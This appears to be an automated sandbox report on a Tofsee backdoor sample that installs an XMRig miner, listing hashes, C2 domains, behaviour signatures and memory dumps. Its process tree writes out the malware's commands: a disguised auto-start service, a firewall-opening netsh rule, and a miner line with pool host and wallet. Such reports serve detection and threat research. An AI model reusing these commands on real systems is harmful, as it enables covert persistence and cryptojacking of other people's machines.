Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 15:09

General

  • Target

    file.exe

  • Size

    252KB

  • MD5

    3daff0208eb4ec8e45c0d84c90b959b8

  • SHA1

    5cfca7fd7003e8a8e25dbdebff2a0113a4c44d4b

  • SHA256

    a024dc3f72c20bbc40fadda609ea7589f757f3078022d990878d09e2ad7b0c11

  • SHA512

    594a8c7c3b7dea0d669684171a6e228ae80e9e0aa426b3c550c855ec8edf43e4f4dcfa2955099c3bc07f6244cf500f85fde8473a2210f968f3aa913609292453

  • SSDEEP

    6144:eAdQSLr8EGVwrXM9d3AX09WKVLsH26gI:oSHRGVwrXM9d3v9WKVgW4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nhdgcbec\
      2⤵
        PID:1612
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vekvtia.exe" C:\Windows\SysWOW64\nhdgcbec\
        2⤵
          PID:2896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nhdgcbec binPath= "C:\Windows\SysWOW64\nhdgcbec\vekvtia.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2436
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nhdgcbec "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nhdgcbec
          2⤵
          • Launches sc.exe
          PID:2748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2604
      • C:\Windows\SysWOW64\nhdgcbec\vekvtia.exe
        C:\Windows\SysWOW64\nhdgcbec\vekvtia.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3004
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1676

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\vekvtia.exe

              Filesize

              10.5MB

              MD5

              5fc39b145e4899ff3a57f178390e4226

              SHA1

              7b8f0c6f69e6426f36db89f9fedbc7722a352ebd

              SHA256

              90d8733c6741080d2debece0862bb51c73494fae2a9c1625d561e87b3e4026b4

              SHA512

              f591e6d9eb921a4edf805a54007284fda61db2bef8944e2936be7f38699d5297bcf5ce5a4b74d4a1d5bd6921726592c519b34826dbe4fc45a56932597366b927

            • C:\Windows\SysWOW64\nhdgcbec\vekvtia.exe

              Filesize

              10.5MB

              MD5

              5fc39b145e4899ff3a57f178390e4226

              SHA1

              7b8f0c6f69e6426f36db89f9fedbc7722a352ebd

              SHA256

              90d8733c6741080d2debece0862bb51c73494fae2a9c1625d561e87b3e4026b4

              SHA512

              f591e6d9eb921a4edf805a54007284fda61db2bef8944e2936be7f38699d5297bcf5ce5a4b74d4a1d5bd6921726592c519b34826dbe4fc45a56932597366b927

            • memory/1676-76-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-63-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-62-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-73-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-71-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-74-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-72-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-77-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/1676-75-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2080-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2080-1-0x00000000005F0000-0x00000000006F0000-memory.dmp

              Filesize

              1024KB

            • memory/2080-4-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2080-2-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2712-17-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2712-9-0x0000000000270000-0x0000000000370000-memory.dmp

              Filesize

              1024KB

            • memory/2712-10-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3004-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/3004-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/3004-50-0x0000000000180000-0x0000000000185000-memory.dmp

              Filesize

              20KB

            • memory/3004-53-0x0000000000180000-0x0000000000185000-memory.dmp

              Filesize

              20KB

            • memory/3004-54-0x00000000054B0000-0x00000000058BB000-memory.dmp

              Filesize

              4.0MB

            • memory/3004-57-0x00000000054B0000-0x00000000058BB000-memory.dmp

              Filesize

              4.0MB

            • memory/3004-58-0x0000000000430000-0x0000000000437000-memory.dmp

              Filesize

              28KB

            • memory/3004-26-0x00000000018C0000-0x0000000001ACF000-memory.dmp

              Filesize

              2.1MB

            • memory/3004-23-0x00000000018C0000-0x0000000001ACF000-memory.dmp

              Filesize

              2.1MB

            • memory/3004-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-18-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3004-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB